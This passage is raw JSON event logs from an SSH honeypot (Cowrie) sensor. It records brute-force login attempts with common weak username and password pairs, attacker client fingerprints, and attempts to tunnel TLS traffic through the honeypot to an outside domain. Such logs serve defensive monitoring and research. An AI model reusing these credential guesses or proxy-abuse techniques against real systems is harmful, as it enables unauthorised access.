xnDdPNGThSdk9C7cTJ%2F95%2Ff5NrG2eANmKeaW3w%2B7a2ZaU1w0yYTvBIP%2FarnlZDDfmI6qc5CX0DzNXbeu9RrCZMBenBf6qEu9wxjlNEJQMYHybICi%2B1jem%2FOOk%2BfbNY3Ps8t9J2RHV%2Ff89keFnjq%2BiKEwCVj7hKiawP3YwlKsXSFxLn%2FHvzgX0EUhmSzvMJ%2Fml8FsMw1BwoX30tTx21jc6L8bHl8YH1rc6eos%2BeJzYlLXtZCZWgSU051tVAo8uMO%2BWSQ2NQkfrXr6UPfKu3cdiu7tABxR1lyLGElfxy2Uy9hHfu03DiJo96d9yNxY0K%2FoHsb5mWdDwuTsTlwjfMymJiH0iEpNpuAnnBfBYIOYDN%2FG9egLjmIEe7z9%2BAcifOe1loQK5JZVn5KLJ%2FUrbgP6Rf%2BrFeatHx10jV2BNy8133n5HJ'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:12:55.688541Z","src_ip":"23.148.145.132","session":"cd739bac9e42","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"172.67.133.8","dst_port":443,"src_ip":"23.148.145.132","src_port":0,"message":"direct-tcp connection request to 172.67.133.8:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:12:56.396800Z","session":"cd739bac9e42","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"172.67.133.8","dst_port":443,"ja4":"t12d1515h2_8daaf6152771_5563d4852cd1","message":"JA4 fingerprint for forwarded TLS to 172.67.133.8:443: t12d1515h2_8daaf6152771_5563d4852cd1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:12:56.416579Z","src_ip":"23.148.145.132","session":"cd739bac9e42","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"172.67.133.8","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03c\\x18\\xc7Qd]N\\xe30\\x11\\xcf\\xf8\\x80\\xcc\\x95,\\xf37;W\\x18\\x88-\\x1d\\xa5_\\x0f\\xe9\\x8d\\xf3.\\xdb \\x11Ahd!Y\\xf5\\xd06/#\\x15+-\\x160\\xb7\\xfb\\xb2\\x7f8\\x17}\\xd6\\xd9;{Z\\xb5\\x05q\\xd4\\x00 \\x1a\\x1a\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\n\\n\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\x9a\\x9a\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\x9a\\x9a\\x00\\x01\\x00\\x00\\x1d\\x00 %\\x9aH_4\\xc0\\xd8sz\\xd8\\x1a^#\\xaa\\xd9\\x02>r\\xd2\\x7f\\x0c38\\x04\\x84\\xa7\\xd2:G\\xe4\\x9a\\x11\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\nJJ\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02ZZ\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":2,"message":"discarded direct-tcp forward request 2 to 172.67.133.8:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03c\\x18\\xc7Qd]N\\xe30\\x11\\xcf\\xf8\\x80\\xcc\\x95,\\xf37;W\\x18\\x88-\\x1d\\xa5_\\x0f\\xe9\\x8d\\xf3.\\xdb \\x11Ahd!Y\\xf5\\xd06/#\\x15+-\\x160\\xb7\\xfb\\xb2\\x7f8\\x17}\\xd6\\xd9;{Z\\xb5\\x05q\\xd4\\x00 \\x1a\\x1a\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\n\\n\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\x9a\\x9a\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\x9a\\x9a\\x00\\x01\\x00\\x00\\x1d\\x00 %\\x9aH_4\\xc0\\xd8sz\\xd8\\x1a^#\\xaa\\xd9\\x02>r\\xd2\\x7f\\x0c38\\x04\\x84\\xa7\\xd2:G\\xe4\\x9a\\x11\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\nJJ\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02ZZ\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:12:56.420830Z","src_ip":"23.148.145.132","session":"cd739bac9e42","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"172.67.133.8","dst_port":443,"src_ip":"23.148.145.132","src_port":0,"message":"direct-tcp connection request to 172.67.133.8:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:12:56.461884Z","session":"cd739bac9e42","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"172.67.133.8","dst_port":443,"ja4":"t12d1615h2_46e7e9700bed_cadd4ee51f0b","message":"JA4 fingerprint for forwarded TLS to 172.67.133.8:443: t12d1615h2_46e7e9700bed_cadd4ee51f0b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:12:56.477570Z","src_ip":"23.148.145.132","session":"cd739bac9e42","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"172.67.133.8","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\x19M\\xab\\xf6E\\xd1Xjfkg\\xfc\\r\\x01\\x8c \\xc3\\xed\\xa6u\\x00Q\\xd3x\\xc9A\\x90\\x9b+oKp \\xb0\\xe0\\xae%b\\xb4\\xe1\\xb9p\\xc4\\xaa\\x97\\xae\\xc8\\x1f\\x00\\xbdD\\xe8\\x97\\x99\\xf8\\x8c\\x8f\\x05N}\\x91\\x8fz\\xf2\\xc8\\x00\"\\xba\\xba\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\xaa\\xaa\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08zz\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)zz\\x00\\x01\\x00\\x00\\x1d\\x00 \\xec\\xdf\\r\\x91\\xd84CK\\xf3\\x8a\\x95\\xca\\xad\\xady\\xf9\\xb1\\'\\xdc\\xf7\\xad\\x17\\xec\\xef_\\x18\\xb1i\\xa3O,h\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n::\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\x8a\\x8a\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":3,"message":"discarded direct-tcp forward request 3 to 172.67.133.8:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\x19M\\xab\\xf6E\\xd1Xjfkg\\xfc\\r\\x01\\x8c \\xc3\\xed\\xa6u\\x00Q\\xd3x\\xc9A\\x90\\x9b+oKp \\xb0\\xe0\\xae%b\\xb4\\xe1\\xb9p\\xc4\\xaa\\x97\\xae\\xc8\\x1f\\x00\\xbdD\\xe8\\x97\\x99\\xf8\\x8c\\x8f\\x05N}\\x91\\x8fz\\xf2\\xc8\\x00\"\\xba\\xba\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\xaa\\xaa\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08zz\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)zz\\x00\\x01\\x00\\x00\\x1d\\x00 \\xec\\xdf\\r\\x91\\xd84CK\\xf3\\x8a\\x95\\xca\\xad\\xady\\xf9\\xb1\\'\\xdc\\xf7\\xad\\x17\\xec\\xef_\\x18\\xb1i\\xa3O,h\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n::\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\x8a\\x8a\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:12:56.482154Z","src_ip":"23.148.145.132","session":"cd739bac9e42","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"elasticsearch","password":"qwerty","message":"login attempt [elasticsearch/qwerty] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:12:56.702535Z","src_ip":"91.92.40.36","session":"a67fa2592166","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.8","message":"Connection lost after 5.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:12:58.769262Z","src_ip":"91.92.40.36","session":"a67fa2592166","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":54712,"dst_ip":"159.203.135.109","dst_port":22,"session":"7dd5f1a7aa6b","protocol":"ssh","message":"New connection: 91.92.40.36:54712 (159.203.135.109:22) [session: 7dd5f1a7aa6b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:13:00.468616Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:13:00.921982Z","src_ip":"91.92.40.36","session":"7dd5f1a7aa6b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:13:00.925179Z","src_ip":"91.92.40.36","session":"7dd5f1a7aa6b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"developer","password":"54321","message":"login attempt [developer/54321] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:13:03.644583Z","src_ip":"91.92.40.36","session":"7dd5f1a7aa6b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.4","message":"Connection lost after 4.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:13:04.902445Z","src_ip":"91.92.40.36","session":"7dd5f1a7aa6b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":48372,"dst_ip":"159.203.135.109","dst_port":22,"session":"13e2f60b0ea3","protocol":"ssh","message":"New connection: 91.92.40.36:48372 (159.203.135.109:22) [session: 13e2f60b0ea3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:13:10.639792Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:13:11.043416Z","src_ip":"91.92.40.36","session":"13e2f60b0ea3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"33.8","message":"Connection lost after 33.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:13:11.511594Z","src_ip":"23.148.145.132","session":"cd739bac9e42","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:13:12.253066Z","src_ip":"91.92.40.36","session":"13e2f60b0ea3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":48474,"dst_ip":"159.203.135.109","dst_port":22,"session":"f8b3e9ed0846","protocol":"ssh","message":"New connection: 91.92.40.36:48474 (159.203.135.109:22) [session: f8b3e9ed0846]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:13:17.489321Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:13:18.526236Z","src_ip":"91.92.40.36","session":"f8b3e9ed0846","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"201.17.146.173","src_port":46768,"dst_ip":"159.203.135.109","dst_port":22,"session":"98f283f376cf","protocol":"ssh","message":"New connection: 201.17.146.173:46768 (159.203.135.109:22) [session: 98f283f376cf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:13:19.574791Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:13:19.580396Z","src_ip":"201.17.146.173","session":"98f283f376cf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"194.59.206.2","src_port":54878,"dst_ip":"10.17.0.5","dst_port":22,"session":"6d4920258d1a","protocol":"ssh","message":"New connection: 194.59.206.2:54878 (10.17.0.5:22) [session: 6d4920258d1a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:13:19.618739Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:13:19.623363Z","src_ip":"194.59.206.2","session":"6d4920258d1a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e54ef3ec27fe1fea7ab64d3fa05359fd","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group1-sha1,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1;chacha20-poly1305@openssh.com,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,arcfour256,arcfour128,arcfour,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group1-sha1","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["chacha